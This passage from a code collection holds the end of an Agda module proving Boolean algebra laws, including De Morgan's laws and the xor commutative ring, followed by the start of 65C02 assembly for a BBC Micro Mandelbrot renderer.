; comm = ∨-comm
}
; distribʳ = proj₂ ∨-∧-distrib
; zeroˡ = proj₁ ∨-zero
}
∧-∨-commutativeSemiring : CommutativeSemiring _ _
∧-∨-commutativeSemiring =
record { isCommutativeSemiring = ∧-∨-isCommutativeSemiring }
------------------------------------------------------------------------
-- Some other properties
-- I took the statement of this lemma (called Uniqueness of
-- Complements) from some course notes, "Boolean Algebra", written
-- by <NAME>.
private
lemma : ∀ x y → x ∧ y ≈ ⊥ → x ∨ y ≈ ⊤ → ¬ x ≈ y
lemma x y x∧y=⊥ x∨y=⊤ = begin
¬ x ≈⟨ sym $ proj₂ ∧-identity _ ⟩
¬ x ∧ ⊤ ≈⟨ refl ⟨ ∧-cong ⟩ sym x∨y=⊤ ⟩
¬ x ∧ (x ∨ y) ≈⟨ proj₁ ∧-∨-distrib _ _ _ ⟩
¬ x ∧ x ∨ ¬ x ∧ y ≈⟨ proj₁ ∧-complement _ ⟨ ∨-cong ⟩ refl ⟩
⊥ ∨ ¬ x ∧ y ≈⟨ sym x∧y=⊥ ⟨ ∨-cong ⟩ refl ⟩
x ∧ y ∨ ¬ x ∧ y ≈⟨ sym $ proj₂ ∧-∨-distrib _ _ _ ⟩
(x ∨ ¬ x) ∧ y ≈⟨ proj₂ ∨-complement _ ⟨ ∧-cong ⟩ refl ⟩
⊤ ∧ y ≈⟨ proj₁ ∧-identity _ ⟩
y ∎
¬⊥=⊤ : ¬ ⊥ ≈ ⊤
¬⊥=⊤ = lemma ⊥ ⊤ (proj₂ ∧-identity _) (proj₂ ∨-zero _)
¬⊤=⊥ : ¬ ⊤ ≈ ⊥
¬⊤=⊥ = lemma ⊤ ⊥ (proj₂ ∧-zero _) (proj₂ ∨-identity _)
¬-involutive : Involutive ¬_
¬-involutive x = lemma (¬ x) x (proj₁ ∧-complement _) (proj₁ ∨-complement _)
deMorgan₁ : ∀ x y → ¬ (x ∧ y) ≈ ¬ x ∨ ¬ y
deMorgan₁ x y = lemma (x ∧ y) (¬ x ∨ ¬ y) lem₁ lem₂
where
lem₁ = begin
(x ∧ y) ∧ (¬ x ∨ ¬ y) ≈⟨ proj₁ ∧-∨-distrib _ _ _ ⟩
(x ∧ y) ∧ ¬ x ∨ (x ∧ y) ∧ ¬ y ≈⟨ (∧-comm _ _ ⟨ ∧-cong ⟩ refl) ⟨ ∨-cong ⟩ refl ⟩
(y ∧ x) ∧ ¬ x ∨ (x ∧ y) ∧ ¬ y ≈⟨ ∧-assoc _ _ _ ⟨ ∨-cong ⟩ ∧-assoc _ _ _ ⟩
y ∧ (x ∧ ¬ x) ∨ x ∧ (y ∧ ¬ y) ≈⟨ (refl ⟨ ∧-cong ⟩ proj₂ ∧-complement _) ⟨ ∨-cong ⟩
(refl ⟨ ∧-cong ⟩ proj₂ ∧-complement _) ⟩
(y ∧ ⊥) ∨ (x ∧ ⊥) ≈⟨ proj₂ ∧-zero _ ⟨ ∨-cong ⟩ proj₂ ∧-zero _ ⟩
⊥ ∨ ⊥ ≈⟨ proj₂ ∨-identity _ ⟩
⊥ ∎
lem₃ = begin
(x ∧ y) ∨ ¬ x ≈⟨ proj₂ ∨-∧-distrib _ _ _ ⟩
(x ∨ ¬ x) ∧ (y ∨ ¬ x) ≈⟨ proj₂ ∨-complement _ ⟨ ∧-cong ⟩ refl ⟩
⊤ ∧ (y ∨ ¬ x) ≈⟨ proj₁ ∧-identity _ ⟩
y ∨ ¬ x ≈⟨ ∨-comm _ _ ⟩
¬ x ∨ y ∎
lem₂ = begin
(x ∧ y) ∨ (¬ x ∨ ¬ y) ≈⟨ sym $ ∨-assoc _ _ _ ⟩
((x ∧ y) ∨ ¬ x) ∨ ¬ y ≈⟨ lem₃ ⟨ ∨-cong ⟩ refl ⟩
(¬ x ∨ y) ∨ ¬ y ≈⟨ ∨-assoc _ _ _ ⟩
¬ x ∨ (y ∨ ¬ y) ≈⟨ refl ⟨ ∨-cong ⟩ proj₂ ∨-complement _ ⟩
¬ x ∨ ⊤ ≈⟨ proj₂ ∨-zero _ ⟩
⊤ ∎
deMorgan₂ : ∀ x y → ¬ (x ∨ y) ≈ ¬ x ∧ ¬ y
deMorgan₂ x y = begin
¬ (x ∨ y) ≈⟨ ¬-cong $ sym (¬-involutive _) ⟨ ∨-cong ⟩
sym (¬-involutive _) ⟩
¬ (¬ ¬ x ∨ ¬ ¬ y) ≈⟨ ¬-cong $ sym $ deMorgan₁ _ _ ⟩
¬ ¬ (¬ x ∧ ¬ y) ≈⟨ ¬-involutive _ ⟩
¬ x ∧ ¬ y ∎
-- One can replace the underlying equality with an equivalent one.
replace-equality :
{_≈′_ : Rel Carrier b₂} →
(∀ {x y} → x ≈ y ⇔ x ≈′ y) → BooleanAlgebra _ _
replace-equality {_≈′_} ≈⇔≈′ = record
{ _≈_ = _≈′_
; _∨_ = _∨_
; _∧_ = _∧_
; ¬_ = ¬_
; ⊤ = ⊤
; ⊥ = ⊥
; isBooleanAlgebra = record
{ isDistributiveLattice = DistributiveLattice.isDistributiveLattice
(DL.replace-equality ≈⇔≈′)
; ∨-complementʳ = λ x → to ⟨$⟩ ∨-complementʳ x
; ∧-complementʳ = λ x → to ⟨$⟩ ∧-complementʳ x
; ¬-cong = λ i≈j → to ⟨$⟩ ¬-cong (from ⟨$⟩ i≈j)
}
} where open module E {x y} = Equivalence (≈⇔≈′ {x} {y})
------------------------------------------------------------------------
-- (⊕, ∧, id, ⊥, ⊤) is a commutative ring
-- This construction is parameterised over the definition of xor.
module XorRing
(xor : Op₂ Carrier)
(⊕-def : ∀ x y → xor x y ≈ (x ∨ y) ∧ ¬ (x ∧ y))
where
private
infixl 6 _⊕_
_⊕_ : Op₂ Carrier
_⊕_ = xor
private
helper : ∀ {x y u v} → x ≈ y → u ≈ v → x ∧ ¬ u ≈ y ∧ ¬ v
helper x≈y u≈v = x≈y ⟨ ∧-cong ⟩ ¬-cong u≈v
⊕-¬-distribˡ : ∀ x y → ¬ (x ⊕ y) ≈ ¬ x ⊕ y
⊕-¬-distribˡ x y = begin
¬ (x ⊕ y) ≈⟨ ¬-cong $ ⊕-def _ _ ⟩
¬ ((x ∨ y) ∧ (¬ (x ∧ y))) ≈⟨ ¬-cong (proj₂ ∧-∨-distrib _ _ _) ⟩
¬ ((x ∧ ¬ (x ∧ y)) ∨ (y ∧ ¬ (x ∧ y))) ≈⟨ ¬-cong $
refl ⟨ ∨-cong ⟩
(refl ⟨ ∧-cong ⟩
¬-cong (∧-comm _ _)) ⟩
¬ ((x ∧ ¬ (x ∧ y)) ∨ (y ∧ ¬ (y ∧ x))) ≈⟨ ¬-cong $ lem _ _ ⟨ ∨-cong ⟩ lem _ _ ⟩
¬ ((x ∧ ¬ y) ∨ (y ∧ ¬ x)) ≈⟨ deMorgan₂ _ _ ⟩
¬ (x ∧ ¬ y) ∧ ¬ (y ∧ ¬ x) ≈⟨ deMorgan₁ _ _ ⟨ ∧-cong ⟩ refl ⟩
(¬ x ∨ (¬ ¬ y)) ∧ ¬ (y ∧ ¬ x) ≈⟨ helper (refl ⟨ ∨-cong ⟩ ¬-involutive _)
(∧-comm _ _) ⟩
(¬ x ∨ y) ∧ ¬ (¬ x ∧ y) ≈⟨ sym $ ⊕-def _ _ ⟩
¬ x ⊕ y ∎
where
lem : ∀ x y → x ∧ ¬ (x ∧ y) ≈ x ∧ ¬ y
lem x y = begin
x ∧ ¬ (x ∧ y) ≈⟨ refl ⟨ ∧-cong ⟩ deMorgan₁ _ _ ⟩
x ∧ (¬ x ∨ ¬ y) ≈⟨ proj₁ ∧-∨-distrib _ _ _ ⟩
(x ∧ ¬ x) ∨ (x ∧ ¬ y) ≈⟨ proj₂ ∧-complement _ ⟨ ∨-cong ⟩ refl ⟩
⊥ ∨ (x ∧ ¬ y) ≈⟨ proj₁ ∨-identity _ ⟩
x ∧ ¬ y ∎
private
⊕-comm : Commutative _⊕_
⊕-comm x y = begin
x ⊕ y ≈⟨ ⊕-def _ _ ⟩
(x ∨ y) ∧ ¬ (x ∧ y) ≈⟨ helper (∨-comm _ _) (∧-comm _ _) ⟩
(y ∨ x) ∧ ¬ (y ∧ x) ≈⟨ sym $ ⊕-def _ _ ⟩
y ⊕ x ∎
⊕-¬-distribʳ : ∀ x y → ¬ (x ⊕ y) ≈ x ⊕ ¬ y
⊕-¬-distribʳ x y = begin
¬ (x ⊕ y) ≈⟨ ¬-cong $ ⊕-comm _ _ ⟩
¬ (y ⊕ x) ≈⟨ ⊕-¬-distribˡ _ _ ⟩
¬ y ⊕ x ≈⟨ ⊕-comm _ _ ⟩
x ⊕ ¬ y ∎
⊕-annihilates-¬ : ∀ x y → x ⊕ y ≈ ¬ x ⊕ ¬ y
⊕-annihilates-¬ x y = begin
x ⊕ y ≈⟨ sym $ ¬-involutive _ ⟩
¬ ¬ (x ⊕ y) ≈⟨ ¬-cong $ ⊕-¬-distribˡ _ _ ⟩
¬ (¬ x ⊕ y) ≈⟨ ⊕-¬-distribʳ _ _ ⟩
¬ x ⊕ ¬ y ∎
private
⊕-cong : _⊕_ Preserves₂ _≈_ ⟶ _≈_ ⟶ _≈_
⊕-cong {x} {y} {u} {v} x≈y u≈v = begin
x ⊕ u ≈⟨ ⊕-def _ _ ⟩
(x ∨ u) ∧ ¬ (x ∧ u) ≈⟨ helper (x≈y ⟨ ∨-cong ⟩ u≈v)
(x≈y ⟨ ∧-cong ⟩ u≈v) ⟩
(y ∨ v) ∧ ¬ (y ∧ v) ≈⟨ sym $ ⊕-def _ _ ⟩
y ⊕ v ∎
⊕-identity : Identity ⊥ _⊕_
⊕-identity = ⊥⊕x=x , (λ _ → ⊕-comm _ _ ⟨ trans ⟩ ⊥⊕x=x _)
where
⊥⊕x=x : ∀ x → ⊥ ⊕ x ≈ x
⊥⊕x=x x = begin
⊥ ⊕ x ≈⟨ ⊕-def _ _ ⟩
(⊥ ∨ x) ∧ ¬ (⊥ ∧ x) ≈⟨ helper (proj₁ ∨-identity _)
(proj₁ ∧-zero _) ⟩
x ∧ ¬ ⊥ ≈⟨ refl ⟨ ∧-cong ⟩ ¬⊥=⊤ ⟩
x ∧ ⊤ ≈⟨ proj₂ ∧-identity _ ⟩
x ∎
⊕-inverse : Inverse ⊥ id _⊕_
⊕-inverse = x⊕x=⊥ , (λ _ → ⊕-comm _ _ ⟨ trans ⟩ x⊕x=⊥ _)
where
x⊕x=⊥ : ∀ x → x ⊕ x ≈ ⊥
x⊕x=⊥ x = begin
x ⊕ x ≈⟨ ⊕-def _ _ ⟩
(x ∨ x) ∧ ¬ (x ∧ x) ≈⟨ helper (∨-idempotent _)
(∧-idempotent _) ⟩
x ∧ ¬ x ≈⟨ proj₂ ∧-complement _ ⟩
⊥ ∎
distrib-∧-⊕ : _∧_ DistributesOver _⊕_
distrib-∧-⊕ = distˡ , distʳ
where
distˡ : _∧_ DistributesOverˡ _⊕_
distˡ x y z = begin
x ∧ (y ⊕ z) ≈⟨ refl ⟨ ∧-cong ⟩ ⊕-def _ _ ⟩
x ∧ ((y ∨ z) ∧ ¬ (y ∧ z)) ≈⟨ sym $ ∧-assoc _ _ _ ⟩
(x ∧ (y ∨ z)) ∧ ¬ (y ∧ z) ≈⟨ refl ⟨ ∧-cong ⟩ deMorgan₁ _ _ ⟩
(x ∧ (y ∨ z)) ∧
(¬ y ∨ ¬ z) ≈⟨ sym $ proj₁ ∨-identity _ ⟩
⊥ ∨
((x ∧ (y ∨ z)) ∧
(¬ y ∨ ¬ z)) ≈⟨ lem₃ ⟨ ∨-cong ⟩ refl ⟩
((x ∧ (y ∨ z)) ∧ ¬ x) ∨
((x ∧ (y ∨ z)) ∧
(¬ y ∨ ¬ z)) ≈⟨ sym $ proj₁ ∧-∨-distrib _ _ _ ⟩
(x ∧ (y ∨ z)) ∧
(¬ x ∨ (¬ y ∨ ¬ z)) ≈⟨ refl ⟨ ∧-cong ⟩
(refl ⟨ ∨-cong ⟩ sym (deMorgan₁ _ _)) ⟩
(x ∧ (y ∨ z)) ∧
(¬ x ∨ ¬ (y ∧ z)) ≈⟨ refl ⟨ ∧-cong ⟩ sym (deMorgan₁ _ _) ⟩
(x ∧ (y ∨ z)) ∧
¬ (x ∧ (y ∧ z)) ≈⟨ helper refl lem₁ ⟩
(x ∧ (y ∨ z)) ∧
¬ ((x ∧ y) ∧ (x ∧ z)) ≈⟨ proj₁ ∧-∨-distrib _ _ _ ⟨ ∧-cong ⟩
refl ⟩
((x ∧ y) ∨ (x ∧ z)) ∧
¬ ((x ∧ y) ∧ (x ∧ z)) ≈⟨ sym $ ⊕-def _ _ ⟩
(x ∧ y) ⊕ (x ∧ z) ∎
where
lem₂ = begin
x ∧ (y ∧ z) ≈⟨ sym $ ∧-assoc _ _ _ ⟩
(x ∧ y) ∧ z ≈⟨ ∧-comm _ _ ⟨ ∧-cong ⟩ refl ⟩
(y ∧ x) ∧ z ≈⟨ ∧-assoc _ _ _ ⟩
y ∧ (x ∧ z) ∎
lem₁ = begin
x ∧ (y ∧ z) ≈⟨ sym (∧-idempotent _) ⟨ ∧-cong ⟩ refl ⟩
(x ∧ x) ∧ (y ∧ z) ≈⟨ ∧-assoc _ _ _ ⟩
x ∧ (x ∧ (y ∧ z)) ≈⟨ refl ⟨ ∧-cong ⟩ lem₂ ⟩
x ∧ (y ∧ (x ∧ z)) ≈⟨ sym $ ∧-assoc _ _ _ ⟩
(x ∧ y) ∧ (x ∧ z) ∎
lem₃ = begin
⊥ ≈⟨ sym $ proj₂ ∧-zero _ ⟩
(y ∨ z) ∧ ⊥ ≈⟨ refl ⟨ ∧-cong ⟩ sym (proj₂ ∧-complement _) ⟩
(y ∨ z) ∧ (x ∧ ¬ x) ≈⟨ sym $ ∧-assoc _ _ _ ⟩
((y ∨ z) ∧ x) ∧ ¬ x ≈⟨ ∧-comm _ _ ⟨ ∧-cong ⟩ refl ⟩
(x ∧ (y ∨ z)) ∧ ¬ x ∎
distʳ : _∧_ DistributesOverʳ _⊕_
distʳ x y z = begin
(y ⊕ z) ∧ x ≈⟨ ∧-comm _ _ ⟩
x ∧ (y ⊕ z) ≈⟨ distˡ _ _ _ ⟩
(x ∧ y) ⊕ (x ∧ z) ≈⟨ ∧-comm _ _ ⟨ ⊕-cong ⟩ ∧-comm _ _ ⟩
(y ∧ x) ⊕ (z ∧ x) ∎
lemma₂ : ∀ x y u v →
(x ∧ y) ∨ (u ∧ v) ≈
((x ∨ u) ∧ (y ∨ u)) ∧
((x ∨ v) ∧ (y ∨ v))
lemma₂ x y u v = begin
(x ∧ y) ∨ (u ∧ v) ≈⟨ proj₁ ∨-∧-distrib _ _ _ ⟩
((x ∧ y) ∨ u) ∧ ((x ∧ y) ∨ v) ≈⟨ proj₂ ∨-∧-distrib _ _ _
⟨ ∧-cong ⟩
proj₂ ∨-∧-distrib _ _ _ ⟩
((x ∨ u) ∧ (y ∨ u)) ∧
((x ∨ v) ∧ (y ∨ v)) ∎
⊕-assoc : Associative _⊕_
⊕-assoc x y z = sym $ begin
x ⊕ (y ⊕ z) ≈⟨ refl ⟨ ⊕-cong ⟩ ⊕-def _ _ ⟩
x ⊕ ((y ∨ z) ∧ ¬ (y ∧ z)) ≈⟨ ⊕-def _ _ ⟩
(x ∨ ((y ∨ z) ∧ ¬ (y ∧ z))) ∧
¬ (x ∧ ((y ∨ z) ∧ ¬ (y ∧ z))) ≈⟨ lem₃ ⟨ ∧-cong ⟩ lem₄ ⟩
(((x ∨ y) ∨ z) ∧ ((x ∨ ¬ y) ∨ ¬ z)) ∧
(((¬ x ∨ ¬ y) ∨ z) ∧ ((¬ x ∨ y) ∨ ¬ z)) ≈⟨ ∧-assoc _ _ _ ⟩
((x ∨ y) ∨ z) ∧
(((x ∨ ¬ y) ∨ ¬ z) ∧
(((¬ x ∨ ¬ y) ∨ z) ∧ ((¬ x ∨ y) ∨ ¬ z))) ≈⟨ refl ⟨ ∧-cong ⟩ lem₅ ⟩
((x ∨ y) ∨ z) ∧
(((¬ x ∨ ¬ y) ∨ z) ∧
(((x ∨ ¬ y) ∨ ¬ z) ∧ ((¬ x ∨ y) ∨ ¬ z))) ≈⟨ sym $ ∧-assoc _ _ _ ⟩
(((x ∨ y) ∨ z) ∧ ((¬ x ∨ ¬ y) ∨ z)) ∧
(((x ∨ ¬ y) ∨ ¬ z) ∧ ((¬ x ∨ y) ∨ ¬ z)) ≈⟨ lem₁ ⟨ ∧-cong ⟩ lem₂ ⟩
(((x ∨ y) ∧ ¬ (x ∧ y)) ∨ z) ∧
¬ (((x ∨ y) ∧ ¬ (x ∧ y)) ∧ z) ≈⟨ sym $ ⊕-def _ _ ⟩
((x ∨ y) ∧ ¬ (x ∧ y)) ⊕ z ≈⟨ sym $ ⊕-def _ _ ⟨ ⊕-cong ⟩ refl ⟩
(x ⊕ y) ⊕ z ∎
where
lem₁ = begin
((x ∨ y) ∨ z) ∧ ((¬ x ∨ ¬ y) ∨ z) ≈⟨ sym $ proj₂ ∨-∧-distrib _ _ _ ⟩
((x ∨ y) ∧ (¬ x ∨ ¬ y)) ∨ z ≈⟨ (refl ⟨ ∧-cong ⟩ sym (deMorgan₁ _ _))
⟨ ∨-cong ⟩ refl ⟩
((x ∨ y) ∧ ¬ (x ∧ y)) ∨ z ∎
lem₂' = begin
(x ∨ ¬ y) ∧ (¬ x ∨ y) ≈⟨ sym $
proj₁ ∧-identity _
⟨ ∧-cong ⟩
proj₂ ∧-identity _ ⟩
(⊤ ∧ (x ∨ ¬ y)) ∧ ((¬ x ∨ y) ∧ ⊤) ≈⟨ sym $
(proj₁ ∨-complement _ ⟨ ∧-cong ⟩ ∨-comm _ _)
⟨ ∧-cong ⟩
(refl ⟨ ∧-cong ⟩ proj₁ ∨-complement _) ⟩
((¬ x ∨ x) ∧ (¬ y ∨ x)) ∧
((¬ x ∨ y) ∧ (¬ y ∨ y)) ≈⟨ sym $ lemma₂ _ _ _ _ ⟩
(¬ x ∧ ¬ y) ∨ (x ∧ y) ≈⟨ sym $ deMorgan₂ _ _ ⟨ ∨-cong ⟩ ¬-involutive _ ⟩
¬ (x ∨ y) ∨ ¬ ¬ (x ∧ y) ≈⟨ sym (deMorgan₁ _ _) ⟩
¬ ((x ∨ y) ∧ ¬ (x ∧ y)) ∎
lem₂ = begin
((x ∨ ¬ y) ∨ ¬ z) ∧ ((¬ x ∨ y) ∨ ¬ z) ≈⟨ sym $ proj₂ ∨-∧-distrib _ _ _ ⟩
((x ∨ ¬ y) ∧ (¬ x ∨ y)) ∨ ¬ z ≈⟨ lem₂' ⟨ ∨-cong ⟩ refl ⟩
¬ ((x ∨ y) ∧ ¬ (x ∧ y)) ∨ ¬ z ≈⟨ sym $ deMorgan₁ _ _ ⟩
¬ (((x ∨ y) ∧ ¬ (x ∧ y)) ∧ z) ∎
lem₃ = begin
x ∨ ((y ∨ z) ∧ ¬ (y ∧ z)) ≈⟨ refl ⟨ ∨-cong ⟩
(refl ⟨ ∧-cong ⟩ deMorgan₁ _ _) ⟩
x ∨ ((y ∨ z) ∧ (¬ y ∨ ¬ z)) ≈⟨ proj₁ ∨-∧-distrib _ _ _ ⟩
(x ∨ (y ∨ z)) ∧ (x ∨ (¬ y ∨ ¬ z)) ≈⟨ sym (∨-assoc _ _ _) ⟨ ∧-cong ⟩
sym (∨-assoc _ _ _) ⟩
((x ∨ y) ∨ z) ∧ ((x ∨ ¬ y) ∨ ¬ z) ∎
lem₄' = begin
¬ ((y ∨ z) ∧ ¬ (y ∧ z)) ≈⟨ deMorgan₁ _ _ ⟩
¬ (y ∨ z) ∨ ¬ ¬ (y ∧ z) ≈⟨ deMorgan₂ _ _ ⟨ ∨-cong ⟩ ¬-involutive _ ⟩
(¬ y ∧ ¬ z) ∨ (y ∧ z) ≈⟨ lemma₂ _ _ _ _ ⟩
((¬ y ∨ y) ∧ (¬ z ∨ y)) ∧
((¬ y ∨ z) ∧ (¬ z ∨ z)) ≈⟨ (proj₁ ∨-complement _ ⟨ ∧-cong ⟩ ∨-comm _ _)
⟨ ∧-cong ⟩
(refl ⟨ ∧-cong ⟩ proj₁ ∨-complement _) ⟩
(⊤ ∧ (y ∨ ¬ z)) ∧
((¬ y ∨ z) ∧ ⊤) ≈⟨ proj₁ ∧-identity _ ⟨ ∧-cong ⟩
proj₂ ∧-identity _ ⟩
(y ∨ ¬ z) ∧ (¬ y ∨ z) ∎
lem₄ = begin
¬ (x ∧ ((y ∨ z) ∧ ¬ (y ∧ z))) ≈⟨ deMorgan₁ _ _ ⟩
¬ x ∨ ¬ ((y ∨ z) ∧ ¬ (y ∧ z)) ≈⟨ refl ⟨ ∨-cong ⟩ lem₄' ⟩
¬ x ∨ ((y ∨ ¬ z) ∧ (¬ y ∨ z)) ≈⟨ proj₁ ∨-∧-distrib _ _ _ ⟩
(¬ x ∨ (y ∨ ¬ z)) ∧
(¬ x ∨ (¬ y ∨ z)) ≈⟨ sym (∨-assoc _ _ _) ⟨ ∧-cong ⟩
sym (∨-assoc _ _ _) ⟩
((¬ x ∨ y) ∨ ¬ z) ∧
((¬ x ∨ ¬ y) ∨ z) ≈⟨ ∧-comm _ _ ⟩
((¬ x ∨ ¬ y) ∨ z) ∧
((¬ x ∨ y) ∨ ¬ z) ∎
lem₅ = begin
((x ∨ ¬ y) ∨ ¬ z) ∧
(((¬ x ∨ ¬ y) ∨ z) ∧ ((¬ x ∨ y) ∨ ¬ z)) ≈⟨ sym $ ∧-assoc _ _ _ ⟩
(((x ∨ ¬ y) ∨ ¬ z) ∧ ((¬ x ∨ ¬ y) ∨ z)) ∧
((¬ x ∨ y) ∨ ¬ z) ≈⟨ ∧-comm _ _ ⟨ ∧-cong ⟩ refl ⟩
(((¬ x ∨ ¬ y) ∨ z) ∧ ((x ∨ ¬ y) ∨ ¬ z)) ∧
((¬ x ∨ y) ∨ ¬ z) ≈⟨ ∧-assoc _ _ _ ⟩
((¬ x ∨ ¬ y) ∨ z) ∧
(((x ∨ ¬ y) ∨ ¬ z) ∧ ((¬ x ∨ y) ∨ ¬ z)) ∎
isCommutativeRing : IsCommutativeRing _≈_ _⊕_ _∧_ id ⊥ ⊤
isCommutativeRing = record
{ isRing = record
{ +-isAbelianGroup = record
{ isGroup = record
{ isMonoid = record
{ isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = ⊕-assoc
; ∙-cong = ⊕-cong
}
; identity = ⊕-identity
}
; inverse = ⊕-inverse
; ⁻¹-cong = id
}
; comm = ⊕-comm
}
; *-isMonoid = record
{ isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = ∧-assoc
; ∙-cong = ∧-cong
}
; identity = ∧-identity
}
; distrib = distrib-∧-⊕
}
; *-comm = ∧-comm
}
commutativeRing : CommutativeRing _ _
commutativeRing = record
{ _+_ = _⊕_
; _*_ = _∧_
; -_ = id
; 0# = ⊥
; 1# = ⊤
; isCommutativeRing = isCommutativeRing
}
infixl 6 _⊕_
_⊕_ : Op₂ Carrier
x ⊕ y = (x ∨ y) ∧ ¬ (x ∧ y)
module DefaultXorRing = XorRing _⊕_ (λ _ _ → refl)
|
src/mandel.asm | bjh21/bogomandel | 7 | 80390 | ITERATIONS = 32
fraction_bits = 12 ; including the bottom 0
integer_bits = 4
total_bits = fraction_bits + integer_bits
oswrch = &FFEE
osbyte = &FFF4
accon = &FE34
romsel = &FE30
romsel_ram = &F4
evntv = &220
sheila = &fe00
ifr = 13
ier = 14
system_via = &40
kbd_irq = 1<<0
vsync_irq = 1<<1
adc_irq = 1<<4
clock_irq = 1<<6
accon_x = 4 ; ACCON bit which maps shadow RAM into the address space
zp_start = &a8 ; we stomp over the transient command and filesystem workspace
mc_base = &2000
mc_top = &3000
cpu 1 ; 65C02
puttext "src/!boot", "!boot", 0
putbasic "src/loader.bas", "loader"
putbasic "src/shell.bas", "shell"
; --- Global page ------------------------------------------------------------
org zp_start
.centerx equw 0
.centery equw 0
.step equb 0
.julia equb 0
.cr equw 0
.ci equw 0
.clock equw 0
.scroll equb 0
.screeny equb 0
.boxx1 equb 0
.boxy1 equb 0
.boxx2 equb 0 ; INCLUSIVE (so 0..255)
.boxy2 equb 0 ; INCLUSIVE (so 0..255)
.midx equb 0
.midy equb 0
.sidecount equb 0
.colourflag equb 0
.exitflag equb 0
print "zero page:", ~zp_start, "to", ~P%
; --- The kernel ------------------------------------------------------------
; Once zr, zi, cr, ci have been set up, use reenigne's Mandelbrot kernel to
; calculate the colour. This is copied into zero page when we need it
; (preserving Basic's workspace for use later).
;
; This routine also contains the code which updates colourflag and draws the
; pixel; this allows us to inline a lot of variables for speed and use a
; very cunning trick (suggested by rtw) for using tsb for the read/modify/
; write operation to put the pixel on the screen.
;
; Those numbers that need to be squared (zr, zi, and zr_p_zi) are
; stored with inverted top bits so they can be used directly as
; addresses, as are values passed in from outside (ci and cr). Other
; numbers are generally kept in their natural form, as are results
; from the squaring table.
org &0
guard &a0
.kernel
; Map the lookup tables.
lda #accon_x
trb accon
lda #ITERATIONS
sta iterations
.iterator_loop
ldy #1 ; indexing with this accesses the high byte
; Calculate zr^2 + zi^2.
clc
zr = *+1
lda 9999 ; A = low(zr^2)
tax
zi = *+1
adc 9999 ; A = low(zr^2) + low(zi^2) = low(zr^2 + zi^2)
sta zr2_p_zi2_lo
lda (zr), y ; A = high(zr^2)
adc (zi), y ; A = high(zr^2) + high(zi^2) = high(zr^2 + zi^2)
cmp #4 << (fraction_bits-8)
bcs bailout
sta zr2_p_zi2_hi
; Calculate zr + zi.
; we know C is unset from the bcs above
lda zr+0 ; A = low(zr)
adc zi+0 ; A = low(zr + zi)
sta zr_p_zi+0
lda zr+1 ; A = high(zr)
adc zi+1 ; A = high(zr + zi) + C
eor #&80
cmp #&40 ; -4.0 <= (zr + zi) < 4.0?
bmi bailout ; if not, bail
sta zr_p_zi+1
; Calculate zr^2 - zi^2.
; We know from earlier checks that zi and zr are in range
txa ; A = low(zr^2)
sec
sbc (zi) ; A = low(zr^2 - zi^2)
tax
lda (zr), y ; A = high(zr^2)
sbc (zi), y ; A = high(zr^2 - zi^2)
sta zr2_m_zi2_hi
; Calculate zr = (zr^2 - zi^2) + cr.
clc
txa
kernel_cr_lo = *+1
adc #99 ; A = low(zr^2 - zi^2 + cr)
sta zr+0
zr2_m_zi2_hi = *+1
lda #99 ; A = high(zr^2 - zi^2)
kernel_cr_hi = *+1
adc #99 ; A = high(zr^2 - zi^2 + cr)
cmp #&40 ; -4.0 <= zr < 4.0?
bmi bailout_early ; if not, bail
sta zr+1
; Calculate zi' = (zr+zi)^2 - (zr^2 + zi^2).
sec
zr_p_zi = *+1
lda 9999 ; A = low((zr + zi)^2)
zr2_p_zi2_lo = *+1
sbc #99 ; A = low((zr + zi)^2 - (zr^2 + zi^2))
tax
lda (zr_p_zi), y ; A = high((zr + zi)^2)
zr2_p_zi2_hi = *+1
sbc #99 ; A = high((zr + zi)^2 - (zr^2 + zi^2))
tay
; Calculate zi = zi' + ci.
clc
txa
kernel_ci_lo = *+1
adc #99
sta zi+0
tya
kernel_ci_hi = *+1
adc #99
cmp #&40 ; -4.0 <= zi < 4.0?
bmi bailout_early ; if not, bail
sta zi+1
dec iterations
bne iterator_loop
.bailout
; Unmap the lookup tables.
lda #accon_x
tsb accon
; We've finished with the calculation; update the colour flag and draw
; the pixel on the screen.
iterations = * + 1
equb &ae ; ldx abs
equw palette ; low byte is patched with iterations byte
corecolour = * + 1
cpx #99
{
beq skip
stz colourflag
.skip
}
; Plot colour A to the current pixel.
; Unshifted values refer to the *left* hand pixel, so odd pixels
; need adjusting.
screenx = * + 1
lda #99 ; Is this an even pixel?
ror A ; odd/even bit to C
txa
bcc plot_even_pixel
lsr A
.plot_even_pixel
screenptr = * + 1
tsb &9999 ; unset pixels guaranteed to be 0
; pixel colour in A on exit
txa
rts
.bailout_early ; go here when the _next_ iteration would overflow
dec iterations
bra bailout
.kernel_end
kernel_size = kernel_end - kernel
print "Kernel:", ~kernel_size
; --- Main program ----------------------------------------------------------
; Given a screen address in X and Y, updates screenptr.
macro calculate_screen_address
clc
lda row_table_lo, Y
adc col_table_lo, X
sta screenptr+0
lda row_table_hi, Y
adc col_table_hi, X
sta screenptr+1
endmacro
; Lazily renders the current point, leaving the colour in A.
macro calculate_through_cache
; Poll the clock.
bit sheila+system_via+ifr
bvc noclock
; Acknowledge interrupt
lda #clock_irq
sta sheila+system_via+ifr
; Increment clock counter
inc clock+0
bne noclock
inc clock+1
.noclock
; Pick colour from screenx/screeny (calculate_screen_address must have been
; called) into A.
lda screenx
ror A ; odd/even bit to C
lda (screenptr)
; Unshifted values refer to the *left* hand pixel, so odd pixels
; need adjusting.
bcc pick_even_pixel
asl A
.pick_even_pixel
bmi dont_calculate
jsr recalculate_pixel
bra exit
.dont_calculate
; This pixel is cached, so just check the colour and exit.
and #&AA ; mask out the other pixel
cmp corecolour
beq exit
stz colourflag
.exit
endmacro
clear mc_base, mc_top
org mc_base
guard mc_top
; ...and this gets invoked once the program's successfully copied.
; Initialisation.
.main_program_start
jsr kernel_inout
jsr build_row_table
jsr build_col_table
; Map sideways RAM bank 4, containing our lookup table.
lda #4
jsr map_rom
; Map the framebuffer.
lda #accon_x
tsb accon
jsr init_screen
; Copy input parameters into the kernel.
lda cr+0
sta kernel_cr_lo
lda cr+1
sta kernel_cr_hi
lda ci+0
sta kernel_ci_lo
lda ci+1
sta kernel_ci_hi
; Compute zoom table.
jsr build_pixels_to_z_table
; Turn interrupts off entirely; we'll keep track of time and keyboard by polling
; the system VIA directly.
sei
stz clock+0
stz clock+1
; Draw.
lda #0
sta boxx1
sta boxy1
lda #127
sta boxx2
lda #255
sta boxy2
jsr box
; Put things back the way they were.
cli
lda #accon_x
trb accon
lda #12
jsr map_rom
jsr kernel_inout
